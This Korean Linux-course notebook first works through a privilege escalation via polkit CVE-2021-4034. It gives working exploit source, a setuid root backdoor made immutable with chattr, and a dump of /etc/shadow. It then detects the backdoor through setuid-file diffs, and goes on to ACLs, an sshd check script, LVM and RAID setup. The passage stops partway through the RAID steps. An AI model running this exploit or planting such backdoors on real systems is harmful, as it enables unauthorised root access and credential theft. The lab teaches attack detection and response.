관리자권한획득/리눅스polkit취약점/systemCheck/파일속성/LVM/RAID구성하기(교육 34일차)

SW·2023년 1월 7일

실습> 취약점을 이용한 관리자 권한 획득하기

-- 전체 순서 --
1. CentOS 7 설치 (관리자)
2. SetUID 파일 위치 저장 (관리자)
-find / -perm -4000 2> /dev/null > setuid.txt
3. OS 취약점 공격 (user1 -> root 권한 변경)
-polkit 취약점을 이용한 공격
-yum -y install gcc make
-vi evil-so.c
-vi exploit.c
-vi Makefile
-make
-./exploit
4. 백도어 생성 (user1 -> root 권한 변경)
-polkit 이 업데이트가 되면 관리자 권한을 얻지 못하기 때문에 백도어를 생성한다.
-cd /tmp; vi /tmp/backdoor.c
-gcc -o backdoor backoor.c
-./backdoor
5. 취약점 패치 (관리자)
-yum -y update polkit
6. polkit 실행(user1 -> root 권한 변경 안됨)
-polkit 이 이미 업데이트 되었기 때문에 에러가 발생된다.
-./exploit
7. 백도어 실행(user1 -> root 권한 변경)
-4번에서 만든 백도어 파일을 실행해서 관리자 권한을 획득한다.
8.SetUID 파일 위치 저장2 (관리자)
-find / -perm -4000 2> /dev/null > setuid2.txt
9. 파일 비교 (관리자)
-vimdiff setuid.txt setuid2.txt
-diff setuid.txt setuid2.txt
10. OS 재설치 (관리자)
-관리자가 공격자에게 서버의 권한을 탈취 당했다는 것을 감지해서 OS를 재설치 한다.
-OS에 관리자 권한이 탈취 당하면 무조건 OS를 재설치해야 한다.
-이유는 깊이 있는 백도어는 찾지 못하기 때문이다.














실습> setuid 검색하기

시스템에 setuid 가 설정된 파일들을 모두 검색해서 /root/setuid.txt 파일로 저장한다.
[root@localhost ~]# find / -perm -4000 -ls 2> /dev/null > setuid.txt

실습> 리눅스 polkit 취약점

2021년에 나온 리눅스 취약점으로 CVE-2021-4034 로 명명되었다.

1. 공격 코드 작성
user1에서 공격코드를 작성해서 컴파일한다.
:set noai
:set paste
i
붙여넣기
$ cd

evil-so.c 파일을 생성한다.
$ vi evil-so.c
// evil-so.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);

execve("/bin/sh", NULL, NULL);

}

exploit.c 파일을 생성한다.
$ vi exploit.c
// exploit.c

#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
char envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char
argv[] = { NULL };

system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);

execve(BIN, argv, envp);

return 0;

}

Makefile을 생성한다.
$ vi Makefile
all:
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit

clean:
rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so

2. 컴파일
make 를 이용해서 컴파일해서 실행파일 exploit, evil.so 파일을 생성한다.
$ make

$ ll
합계 36
-rw-rw-r--. 1 user1 user1 149 1월 6 10:14 Makefile
-rw-rw-r--. 1 user1 user1 198 1월 6 10:12 evil-so.c
-rwxrwxr-x. 1 user1 user1 8224 1월 6 10:14 evil.so
-rwxrwxr-x. 1 user1 user1 8416 1월 6 10:14 exploit <-- 취약점을 공략하는 공격코드
-rw-rw-r--. 1 user1 user1 629 1월 6 10:13 exploit.c

3. 로컬 권한 상승 공격
$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

로컬 권한 상승(local privilege escalation)
$ ./exploit
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

일반유저가 권한상승을 통해서 슈퍼유저(root) 권한을 획득했기 때문에 백도어를 심는다.

4. polkit 확인
[root@localhost ~]# yum -y install psmisc
[root@localhost ~]# pstree -p

실습> 백도어

백도어(back door)
-서버를 해킹해서 나중에 서버로 다시 침투할 수 있도록 만든 악성코드로 일종의 뒷문이라고 생각하면 된다.

find 로 setuid 백어도 찾기

1. 백도어 작성
i -> 코드 입력 -> ESC -> :wq

setuid 백도어 소스를 작성한다.
[root@localhost ~]# vi backdoor.c
#include <stdio.h>

int main()
{
// setuid 권한이 있어야 한다. (-rwsr-xr-x)
setuid(0); // root 권한으로 변경
system("/bin/sh"); // 셸을 실행한다.
return 0;
}

컴파일해서 실행파일을 생성하는 방법:
gcc -o <실행파일> <소스파일>
gcc <소스파일> -o <실행파일>

backdoor.c를 컴파일해서 /tmp/backdoor 라는 실행파일을 생성한다.
[root@localhost ~]# gcc -o /tmp/backdoor backdoor.c

퍼미션을 SetUID 권한을 설정한다.
[root@localhost ~]# chmod u+s /tmp/backdoor
[root@localhost ~]# ls -l /tmp/backdoor
-rwsr-xr-x. 1 root root 8416 1월 6 09:46 /tmp/backdoor
[root@localhost ~]# chattr +i /tmp/backdoor

2. 백도어 테스트
[root@localhost ~]# useradd user1
[root@localhost ~]# su - user1
[user1@localhost ~]$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[user1@localhost ~]$ /tmp/backdoor
sh-4.2# id
uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# head /etc/shadow
root:6$6eSy4PGZUBbClrSSrpHLmea.t6uh0mAiSdgcdZP0TMDgXChbL2Bw31NFsbyG7fuQrbHy0UI60YvxV9HFVIUrYwkXjzxZHnblb87FY/::0:99999:7:::
bin::18353:0:99999:7:::
daemon:
:18353:0:99999:7:::
adm::18353:0:99999:7:::
lp:
:18353:0:99999:7:::
sync::18353:0:99999:7:::
shutdown:
:18353:0:99999:7:::
halt::18353:0:99999:7:::
mail:
:18353:0:99999:7:::
operator:*:18353:0:99999:7:::

실습> polkit 업데이트

시스템 관리자가 polkit 취약점을 확인하고 polkit 패키지를 업데이트 한다.
[root@localhost ~]# yum -y update polkit
[root@localhost ~]# reboot

공격자는 관리자 권한을 획득한 후 다시 들어와서 관리자로 변경을 할려고 했더니
polkit 취약점이 업데이트가 되었기 때문에 root권한을 획득할 수 없다.
$ rm -rf GCONV_PATH\=./ evildir/
$ ./exploit
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page: http://www.freedesktop.org/wiki/Software/polkit

$ /tmp/backdoor
sh-4.2# id
uid=0(root) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

실습> setuid 검색하기

시스템에 setuid 가 설정된 파일들을 모두 검색해서 /root/setuid2.txt 파일로 저장해서
이전에 생성한 /root/setuid.txt 파일과 비교한다.

[root@localhost ~]# find / -perm -4000 -ls 2> /dev/null > setuid2.txt

vimdiff: vi 에디터에서 파일의 다른 부분을 비교하는 명령어
diff: 파일의 다른 부분을 비교하는 명령어

아래처럼 백도어가 검색된 것을 확인할 수 있다.
[root@localhost ~]# vimdiff setuid.txt setuid2.txt
:
: (생략)

[root@localhost ~]# diff setuid.txt setuid2.txt
0a1
'> 16784920 12 -rwsr-xr-x 1 root root 8416 1월 6 09:46 /tmp/backdoor


























실습> acl

CentOS 6 부터 acl이 적용되었다.

[root@localhost ~]# cd
[root@localhost ~]# pwd
/root

일반 유저는 /root 디렉터리에 접근할 수 없다.
[root@localhost ~]# ls -ld
dr-xr-x---. 6 root root 235 5월 30 18:14 .

$ cd
$ pwd
/home/user1
$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ cd /root
-bash: cd: /root: 허가 거부

/root 디렉터리의 퍼미션을 확인한다.
[root@localhost ~]# getfacl .
[root@localhost ~]# file: .
[root@localhost ~]# owner: root
[root@localhost ~]# group: root
user::r-x
group::r-x
other::---

setfacl 로 /root 디렉터리를 user1 사용자가 접근할 수 있게 변경한다.
[root@localhost ~]# setfacl -m u:user1:rx .

acl 부분에 . -> +로 변경되면 확장 권한이 설정되어 있는 것이다.
[root@localhost ~]# ls -ld .
dr-xr-x---+ 6 root root 235 5월 30 18:14 .

[root@localhost ~]# getfacl .
[root@localhost ~]# file: .
[root@localhost ~]# owner: root
[root@localhost ~]# group: root
user::r-x
user:user1:r-x <-- 설정된 확장 권한
group::r-x
mask::r-x
other::---

$ ls -ld /root
dr-xr-x---+ 6 root root 235 5월 30 18:14 /root

$ cd
$ pwd
/home/user1
$ cd /root
$ pwd
/root

전체 acl 삭제
[root@localhost ~]# setfacl -b .

acl 설정을 모두 삭제했기 때문에 원래대로 돌아온 것을 확인할 수 있다.
[root@localhost ~]# getfacl .
[root@localhost ~]# file: .
[root@localhost ~]# owner: root
[root@localhost ~]# group: root
user::r-x
group::r-x
other::---

[root@localhost ~]# ls -ld .
dr-xr-x---. 6 root root 235 5월 30 18:14 .

파일의 특수권한 (sst)
rwsrwxrwx : SetUID, setuid (셋유저아이디, 셋유아이디) 소유자 권한의 x 가 s 로 설정
rwxrwsrwx : SetGID, setgid (셋그룹아이디, 셋지아이디) 그룹 권한의 x 가 s 로 설정
rwxrwxrwt : Sticky bit (스티키비트) 아더 권한의 x 가 t 로 설정

실습> 파일 속성

파일에 i 속성이 설정되면 파일을 삭제/이름변경/내용추가가 불가능하다.

i 속성 설정
chattr +i 명령어를 사용한다.
[root@localhost ~]# touch a.txt
[root@localhost ~]# lsattr a.txt
---------------- ./a.txt
[root@localhost ~]# chattr +i a.txt
[root@localhost ~]# lsattr a.txt
----i----------- a.txt

[root@localhost ~]# rm -f a.txt
rm: cannot remove `a.txt': 명령을 허용하지 않음

[root@localhost ~]# mv a.txt a2.txt
mv: cannot move a.txt' to a2.txt': 명령을 허용하지 않음

[root@localhost ~]# echo Hello > a.txt
-bash: a.txt: 허가 거부
[root@localhost ~]# ll a.txt
-rw-r--r--. 1 root root 0 1월 6 12:28 a.txt
[root@localhost ~]# echo Hello >> a.txt
-bash: a.txt: 허가 거부
[root@localhost ~]# ll a.txt
-rw-r--r--. 1 root root 0 1월 6 12:28 a.txt

i 속성 제거
chattr -i 명령어를 사용한다.
[root@localhost ~]# lsattr a.txt
----i----------- a.txt
[root@localhost ~]# chattr -i a.txt
[root@localhost ~]# lsattr a.txt
---------------- a.txt

a 속성 설정
chattr +a 명령어를 사용한다.
[root@localhost ~]# chattr +a a.txt
[root@localhost ~]# lsattr a.txt
-----a---------- a.txt
[root@localhost ~]# rm -f a.txt
rm: cannot remove `a.txt': 명령을 허용하지 않음

[root@localhost ~]# echo Hello > a.txt
-bash: a.txt: 명령을 허용하지 않음
[root@localhost ~]# ll a.txt
-rw-r--r--. 1 root root 0 1월 6 12:28 a.txt
[root@localhost ~]# vi a.txt
Hello
:wq! <-- 저장이 안된다.
:q!
[root@localhost ~]# ll a.txt
-rw-r--r--. 1 root root 0 1월 6 12:28 a.txt

a 속성은 파일에 추가만 가능하다.
[root@localhost ~]# echo Hello >> a.txt
[root@localhost ~]# ll a.txt
-rw-r--r--. 1 root root 6 1월 6 12:38 a.txt
[root@localhost ~]# cat a.txt
Hello

실습> ssh 접속 확인하기

[root@localhost ~]# grep '#PermitRootLogin yes' /etc/ssh/sshd_config
#PermitRootLogin yes

[root@localhost ~]# vi systemCheck.sh
#!/bin/sh
#파일명: systemCheck.sh
#프로그램 설명: 시스템 점검 스크립트
#작성자: 리눅스마스터넷

grep -q '#PermitRootLogin yes' /etc/ssh/sshd_config
retValue=$?
echo $retValue

[root@localhost ~]# chmod 755 systemCheck.sh
[root@localhost ~]# ./systemCheck.sh
0

단일 if 조건문의 형식:
if [ 조건식 ]
then
실행문 <-- 조건식이 참일 때 실행하는 실행문
:
fi

-eq : 같다
1 eq 1 : 1과 1일 같으면 참

[root@localhost ~]# if [ 1 -eq 1 ]
then
echo "같습니다."
fi
같습니다.

[root@localhost ~]# if [ 0 -eq 0 ]
then
echo "같습니다."
fi
같습니다.

조건식이 거짓이므로 같습니다. 가 출력되지 않는다.
[root@localhost ~]# if [ 0 -eq 1 ]
then
echo "같습니다."
fi
<-- 아무것도 출력되지 않는다.

if ~ else 조건문의 형식:
if [ 조건식 ]
then
실행문1 <-- 조건식이 참일 때 실행하는 실행문
:
else
실행문2 <-- 조건식이 거짓일 때 실행하는 실행문
:
fi

0과 1이 다르므로 False이므로 else 부분을 실행한다.
[root@localhost ~]# if [ 0 -eq 1 ]
then
echo "같습니다."
else
echo "다릅니다."
fi
다릅니다.

실습> echo 명령어와 printf 명령어

\t: 탭
\n: 엔터

[root@localhost ~]# echo 안녕
안녕
[root@localhost ~]# echo -n 안녕
안녕[root@localhost ~]#
[root@localhost ~]#
[root@localhost ~]# echo -e "\t안녕"
안녕
[root@localhost ~]# echo "\t안녕"
\t안녕
[root@localhost ~]# printf 안녕
안녕[root@localhost ~]# printf "안녕\n"
안녕
[root@localhost ~]#

실습> systemCheck 최종 코드

최종 코드는 아래와 같다.
[root@localhost ~]# vi systemCheck.sh
#!/bin/sh
#파일명: systemCheck.sh
#프로그램 설명: 시스템 점검 스크립트
#작성자: 리눅스마스터넷

printf "U-01. root 계정 원격접속 제한"
grep -q '#PermitRootLogin yes' /etc/ssh/sshd_config
retValue=$?

if [ $retValue -eq 0 ]
then
echo -e "\t [취약]"
else
echo -e "\t [양호]"
fi

[root@localhost ~]# ./systemCheck.sh
U-01. root 계정 원격접속 제한 [취약]

실습> ssh root 로그인 금지

1. 설정 파일 수정
[root@localhost ~]# vi /etc/ssh/sshd_config
PermitRootLogin no

[root@localhost ~]# grep ^PermitRootLogin /etc/ssh/sshd_config
PermitRootLogin no
[root@localhost ~]# systemctl restart sshd
[root@localhost ~]# useradd admin
[root@localhost ~]# echo 1 | passwd --stdin admin

2. ssh 접속
C:\Users\user> ssh admin@200.200.200.25
admin@200.200.200.25's password:
Last login: Fri Jan 6 14:52:28 2023 from 200.200.200.1

[admin@localhost ~]$ su -
암호:
[root@localhost ~]#

3. 스크립트 실행
[root@localhost ~]# ./systemCheck.sh
U-01. root 계정 원격접속 제한 [양호]

실습> C언의 if문 사용하기

단일 if 조건문의 형식:
-실행문이 하나이면 중괄호는 생략이 가능하다.
if ( 조건식 )
{
실행문 <-- 조건식이 참일 때 실행하는 실행문
:
}

[root@localhost ~]# if iftest.c
/*

  • 파일명: iftest.c
  • 프로그램 설명: C언어의 단일 if문
    */

#include <stdio.h>

int main()
{
if ( 0 == 0 )
{
printf("같습니다.\n");
}

return 0;

}

if ~ else 조건문의 형식:
-실행문이 하나이면 중괄호는 생략이 가능하다.
if ( 조건식 )
{
실행문1 <-- 조건식이 참일 때 실행하는 실행문
:
} else {
실행문2 <-- 조건식이 거짓일 때 실행하는 실행문
:
}

[root@localhost ~]# if iftest2.c
/*

  • 파일명: iftest2.c
  • 프로그램 설명: C언어의 if ~ else문
    */

#include <stdio.h>

int main()
{
if ( 0 == 1 )
printf("같습니다.\n");
else
printf("다릅니다.\n");

return 0;

}

[root@localhost ~]# gcc -o iftest2 iftest2.c
[root@localhost ~]# ./iftest2
다릅니다.

실습> ssh root 접근하기

[root@localhost ~]# vi /etc/ssh/sshd_config
PermitRootLogin yes

[root@localhost ~]# grep ^PermitRootLogin /etc/ssh/sshd_config
PermitRootLogin yes

[root@localhost ~]# systemctl reload sshd

실습> 퍼미션

[root@localhost ~]# chmod 700 /usr/bin/df
[root@localhost ~]# ll /usr/bin/df
-rwx------. 1 root root 105016 8월 20 2019 /usr/bin/df
[root@localhost ~]# su - user1
마지막 로그인: 금 1월 6 15:40:06 KST 2023 일시 pts/1
[user1@localhost ~]$ df
-bash: /bin/df: 허가 거부

실행파일에 자신이 위치하는 부분(other)에 r 권한이 없으면 복사가 안된다.
[user1@localhost ~]$ cp /usr/bin/df .
cp: cannot open `/usr/bin/df' for reading: 허가 거부

[user1@localhost ~]$ exit

실행파일에 자신이 위치하는 부분(other)에 x 권한이 있으면 실행된다.
[root@localhost ~]# chmod o+x /usr/bin/df
[root@localhost ~]# ll /usr/bin/df
-rwx-----x. 1 root root 105016 8월 20 2019 /usr/bin/df
[root@localhost ~]# su - user1
마지막 로그인: 금 1월 6 15:40:31 KST 2023 일시 pts/1
[user1@localhost ~]$ df
Filesystem 1K-blocks Used Available Use% Mounted on
devtmpfs 485800 0 485800 0% /dev
tmpfs 497836 0 497836 0% /dev/shm
tmpfs 497836 7856 489980 2% /run
tmpfs 497836 0 497836 0% /sys/fs/cgroup
/dev/mapper/centos-root 17811456 2192376 15619080 13% /
/dev/sda1 1038336 140372 897964 14% /boot
tmpfs 99568 0 99568 0% /run/user/0
tmpfs 99568 0 99568 0% /run/user/1002

실행파일에 자신이 위치하는 부분(other)에 r 권한이 없으면 복사가 안된다.
[user1@localhost ~]$ cp /usr/bin/df .
cp: cannot open `/usr/bin/df' for reading: 허가 거부

실습> du

일반 파일과 디렉터리의 용량을 확인하는 명령어

[root@localhost ~]# du /etc
[root@localhost ~]# du -s /etc
[root@localhost ~]# du -sh /etc

실습> LVM 설정하기

pdf 참고한다.

-/dev/sdb ~ /dev/sdd 3개 HDD (LVM)
-HDD 1개당 20G(Default)
VG : LINUXDATA
LV : backup
/backup : 60G (drwx------. 2 root root)

파티션 분할 계획

1. 시스템 종료
[root@localhost ~]# init 0

2. HDD 추가
HDD 20G 3개를 추가한다.

3. 파티션 분할
시스템을 재부팅하고 fdisk -l로 확인한다.

CentOS 7을 설치할 때 자동 파티션으로 설치하면 lvm2 패키지가 설치된다.
CentOS 7을 설치할 때 수동 파티션으로 설치하면 lvm2 패키지가 설치가 안된다.
그러므로 lvm을 사용하기 위해서는 아래처럼 lvm2 패키지를 설치해야 한다.
-yum -y install lvm2

[root@localhost ~]# fdisk -l
:
:(생략)
Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

Disk /dev/sdd: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

Disk /dev/sdc: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
:
:(생략)

[root@localhost ~]# fdisk /dev/sdb
n -> 엔터 -> 엔터 -> 엔터 -> 엔터 -> t -> 8e -> p -> w

[root@localhost ~]# fdisk /dev/sdc
n -> 엔터 -> 엔터 -> 엔터 -> 엔터 -> t -> 8e -> p -> w

[root@localhost ~]# fdisk /dev/sdd
n -> 엔터 -> 엔터 -> 엔터 -> 엔터 -> t -> 8e -> p -> w

파티션 설정 후 두 번째 HDD ~ 네 번째 HDD까지 파티션에서 id가 LVM 만 확인한다.
[root@localhost ~]# fdisk -l /dev/sd[b-d]| grep LVM
/dev/sdb1 2048 41943039 20970496 8e Linux LVM
/dev/sdc1 2048 41943039 20970496 8e Linux LVM
/dev/sdd1 2048 41943039 20970496 8e Linux LVM

4. 물리볼륨 생성
pvcreate 를 사용해서 물리볼륨을 생성한다. 생성한 물리볼륨을 pvdisplay 로 확인할 수 있다.
사용법 : pvcreate [option …] PhysicalVolume
pvcreate: 물리 볼륨 생성 명령어
pvdisplay: 물리 볼륨 확인 명령어
[root@localhost ~]# pvcreate /dev/sdb1 /dev/sdc1 /dev/sdd1
[root@localhost ~]# pvdisplay

5. 볼륨그룹 생성
생성된 물리볼륨을 사용해서 볼륨그룹을 생성한다.
사용법 : vgcreate [option …] VolumeGroupName PhysicalDevicePath
[root@localhost ~]# vgcreate LINUXDATA /dev/sdb1 /dev/sdc1 /dev/sdd1
[root@localhost ~]# vgdisplay

6. 논리볼륨 생성
lvcreate 를 사용해서 논리볼륨을 생성한다.
사용법 : lvcreate -n LogicalVolume -(L, l) [size] VolumeGroup
논리 볼륨명: backup
파일 시스템: xfs
[root@localhost ~]# lvcreate -n backup -l 100%FREE LINUXDATA
[root@localhost ~]# lvdisplay
[root@localhost ~]# vgdisplay
[root@localhost ~]# mkfs.xfs /dev/LINUXDATA/backup

7. 마운트
디렉토리를 생성하고 논리볼륨을 마운트한다.
[root@localhost ~]# mkdir /backup
[root@localhost ~]# mount /dev/LINUXDATA/backup /backup <-- 임시적 설정
[root@localhost ~]# chmod 700 /backup

8. 확인
마운트된 디스크의 용량을 확인한다. 아래처럼 /backup 이 잘 나오면 성공한 것이다.
[root@localhost ~]# df
:
:(생략)
/dev/mapper/LINUXDATA-backup 62871560 32992 62838568 1% /backup

[root@localhost ~]# df -h
:
:(생략)
/dev/mapper/LINUXDATA-backup 60G 33M 60G 1% /backup

9. /etc/fstab 저장
영구적으로 마운트를 사용하기 위해서는 재부팅에서도 다시 연결될 수 있도록 /etc/fstab 파일에 마운트 정보를 넣어준다.
디마파옵덤FS
<디바이스> <마운트포인트> <파일시스템타입> <옵션> <덤프> <파일시스템체크순서>
[root@localhost ~]# blkid
:
:(생략)
/dev/mapper/LINUXDATA-backup: UUID="e15a3553-9fc2-469e-ac3a-3f505fc00351" TYPE="xfs"

[root@localhost ~]# vi /etc/fstab
:
: (생략)
#UUID=e15a3553-9fc2-469e-ac3a-3f505fc00351 /backup xfs defaults 0 0
/dev/LINUXDATA/backup /backup xfs defaults 0 0

10. reboot
서버를 재부팅한 후 마운트가 잘 되었는지 확인한다.
만약 /etc/fstab을 편집을 잘못 설정했다면 부팅하면 중간에 멈추게 되고 이때는 사용자가 관리자의 비번을 입력해서 로그인한 후
/etc/fstab의 설정을 다시 정확하게 수정한다.
OS 버전에 따라서 리눅스 시스템이 부팅 후 Read Only 상태이면 /etc/fstab 파일을 편집할 수 없으므로
이때는 / 파일 시스템을 Read Write 모드로 변경하고 편집해서 수정할 수도 있다.
Read Write 모드로 변경하는 방법은 mount -o rw,remount / 명령어로 실행하고 편집한다.
CentOS 7에서는 그냥 편집하면 된다.
[root@localhost ~]# df
:
: (생략)
/dev/mapper/LINUXDATA-backup 62871560 32992 62838568 1% /backup

[root@localhost ~]# df -h
/dev/mapper/LINUXDATA-backup 60G 33M 60G 1% /backup

[root@localhost ~]# ls -dl /backup/
drwx------. 2 root root 6 1월 6 16:46 /backup/

미션> LVM 설정하기 2

-- 조건 --
1. /dev/sde ~ /dev/sdg 3개 HDD (LVM)
-HDD 1개당 30G

2. VG/LV 정보
VG : SECURITY
LV1 : securityData1
LV2 : securityData2

3. 마운트 정보
/home/sdata1 : 40G (drwx------. 2 root root)
/home/sdata2 : 50G (drwx------. 2 root root)

4. 파티션 분할 계획

실습> CentOS 7 을 설치하고 LVM 확인하기

CentOS 7을 설치할 때 자동 파티션으로 설치하면 lvm2 패키지가 설치된다.
CentOS 7을 설치할 때 수동 파티션으로 설치하면 lvm2 패키지가 설치가 안된다.
그러므로 lvm을 사용하기 위해서는 아래처럼 lvm2 패키지를 설치해야 한다.

  • yum -y install lvm2

CentOS 7을 자동 파티션으로 설치하고 LVM을 확인한다.

[root@localhost ~]# fdisk -l
[root@localhost ~]# pvdisplay
[root@localhost ~]# vgdisplay
[root@localhost ~]# lvdisplay

실습> RAID 구성하기

구현레벨: 0, 1, 5

1. 시스템 종료
[root@localhost ~]# init 0

2. HDD 장착
20G HDD 9개를 추가하고 시스템을 부팅한다.

3. HDD 확인
fdisk -l을 이용해서 HDD를 확인한다.
/dev/sdb ~ /dev/sdj까지 있는지 확인해야 한다.

[root@localhost ~]# fdisk -l | grep /dev/sd
Disk /dev/sda: 21.5 GB, 21474836480 bytes, 41943040 sectors
/dev/sda1 * 2048 2099199 1048576 83 Linux
/dev/sda2 2099200 41943039 19921920 8e Linux LVM
Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors
Disk /dev/sdc: 21.5 GB, 21474836480 bytes, 41943040 sectors
Disk /dev/sde: 21.5 GB, 21474836480 bytes, 41943040 sectors
Disk /dev/sdf: 21.5 GB, 21474836480 bytes, 41943040 sectors
Disk /dev/sdg: 21.5 GB, 21474836480 bytes, 41943040 sectors
Disk /dev/sdh: 21.5 GB, 21474836480 bytes, 41943040 sectors
Disk /dev/sdi: 21.5 GB, 21474836480 bytes, 41943040 sectors
Disk /dev/sdd: 21.5 GB, 21474836480 bytes, 41943040 sectors
Disk /dev/sdj: 21.5 GB, 21474836480 bytes, 41943040 sectors

4. 파티션 분할
/dev/sdb ~ /dev/sdj 까지 모든 HDD를 파티션을 분할하고 파티션ID를 Linux raid autodetect(fd)로 변경한다.
'>>> 파티션 ID <<<'
-83: 리눅스 Native 파티션
-82: 리눅스 SWAP 파티션
-8e: 리눅스 LVM(Logical Volume Manager)
-fd: 리눅스 RAID
[root@localhost ~]# fdisk /dev/sdb
n -> 엔터 -> 엔터 -> 엔터 -> 엔터 -> t -> fd -> p -> w

[root@localhost ~]# fdisk /dev/sdc
n -> 엔터 -> 엔터 -> 엔터 -> 엔터 -> t -> fd -> p -> w

[root@localhost ~]# fdisk /dev/sdd
n -> 엔터 -> 엔터 -> 엔터 -> 엔터 -> t -> fd -> p -> w

[root@localhost ~]# fdisk /dev/sde
n -> 엔터 -> 엔터 -> 엔터 -> 엔터 -> t -> fd -> p -> w

[root@localhost ~]# fdisk /dev/sdf
n -> 엔터 -> 엔터 -> 엔터 -> 엔터 -> t -> fd -> p -> w

[root@localhost ~]# fdisk /dev/sdg
n -> 엔터 -> 엔터 -> 엔터 -> 엔터 -> t -> fd -> p -> w

[root@localhost ~]# fdisk /dev/sdh
n -> 엔터 -> 엔터 -> 엔터 -> 엔터 -> t -> fd -> p -> w

[root@localhost ~]# fdisk /dev/sdi
n -> 엔터 -> 엔터 -> 엔터 -> 엔터 -> t -> fd -> p -> w

[root@localhost ~]# fdisk /dev/sdj
n -> 엔터 -> 엔터 -> 엔터 -> 엔터 -> t -> fd -> p -> w

raid 파티션만 확인한다.
[root@localhost ~]# fdisk -l | grep -i RAID | sort
/dev/sdb1 2048 41943039 20970496 fd Linux raid autodetect
/dev/sdc1 2048 41943039 20970496 fd Linux raid autodetect
/dev/sdd1 2048 41943039 20970496 fd Linux raid autodetect
/dev/sde1 2048 41943039 20970496 fd Linux raid autodetect
/dev/sdf1 2048 41943039 20970496 fd Linux raid autodetect
/dev/sdg1 2048 41943039 20970496 fd Linux raid autodetect
/dev/sdh1 2048 41943039 20970496 fd Linux raid autodetect
/dev/sdi1 2048 41943039 20970496 fd Linux raid autodetect
/dev/sdj1 2048 41943039 20970496 fd Linux raid autodetect

5. RAID tool 설치
mdadm 명령어는 software RAID를 관리하는 툴이다.
이 명령어가 있는지 확인하고 없다면 mdadm 패키지를 설치한다.
RedHat 계열 배포판에서는 yum으로 Debian 계열 배포판에서는 apt-get, apt 명령어로 패키지를 설치한다.
[root@localhost ~]# yum -y install mdadm
[root@localhost ~]# rpm -qi mdadm
[root@localhost ~]# rpm -ql mdadm

6. RAID Level 0 설정
RAID 에 관련된 장치가 /dev에 존재하는지 먼저 확인한다.
시스템을 설치하고 RAID 설정을 하지 않으면 SW RAID의 기본 장치 파일은 없다.
/dev/md0: RAID Level 0
/dev/md1: RAID Level 1
/dev/md5: RAID Level 5

[root@localhost ~]# ll /dev/md
ls: cannot access /dev/md
: 그런 파일이나 디렉터리가 없습니다

RAID Level0을 생성한다.
[root@localhost ~]# mdadm --create /dev/md0 --level 0 --raid-devices=2 /dev/sdb1 /dev/sdc1
[root@localhost ~]# ll /dev/md0
brw-rw----. 1 root disk 9, 0 1월 6 17:36 /dev/md0

[root@localhost ~]# cat /proc/mdstat
Personalities : [raid0]
md0 : active raid0 sdc1[1] sdb1[0]
41906176 blocks super 1.2 512k chunks

unused devices:

파일시스템 생성 (포맷)
/dev/md0 장치 파일을 xfs 파일시스템으로 포맷한다.
참고로 mkfs 명령어로 포맷하기 위해서는 mkfs -t xfs /dev/md0 으로 사용한다.
[root@localhost ~]# mkfs.xfs /dev/md0

RAID Level 0 장치 마운트
RAID Level 0 을 마운트하기 위한 디렉토리를 생성하고 장치를 마운트한다.
[root@localhost ~]# mkdir -p /data/RAID0
[root@localhost ~]# mount /dev/md0 /data/RAID0
[root@localhost ~]# xfs_info /dev/md0
[root@localhost ~]# mount
[root@localhost ~]# df
[root@localhost ~]# df -h

/etc/fstab 저장
부팅 후에 마운트된 정보를 영구적으로 저장하기 위해서는 /etc/fstab 에 마운트 관련 정보를 넣어두어야 한다.
[root@localhost ~]# vi /etc/fstab
:
:(생략)
#< Device > < mount point > < filesystem type > < option > < dump > < check ordered >
/dev/md0 /data/RAID0 xfs defaults 0 0

7. RAID Level 1 설정
RAID 에 관련된 장치가 /dev에 존재하는지 먼저 확인한다.
시스템을 설치하고 RAID 설정을 하지 않으면 SW RAID의 기본 장치 파일은 없다.
/dev/md0: RAID Level 0
/dev/md1: RAID Level 1
/dev/md5: RAID Level 5

[root@localhost ~]# ll /dev/md0 /dev/md1
ls: cannot access /dev/md1: 그런 파일이나 디렉터리가 없습니다
brw-rw----. 1 root disk 9, 0 1월 6 17:36 /dev/md0

RAID Level1을 생성한다.
[root@localhost ~]# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd1 /dev/sde1
mdadm: Note: this array has metadata at the start and
may not be suitable as a boot device. If you plan to
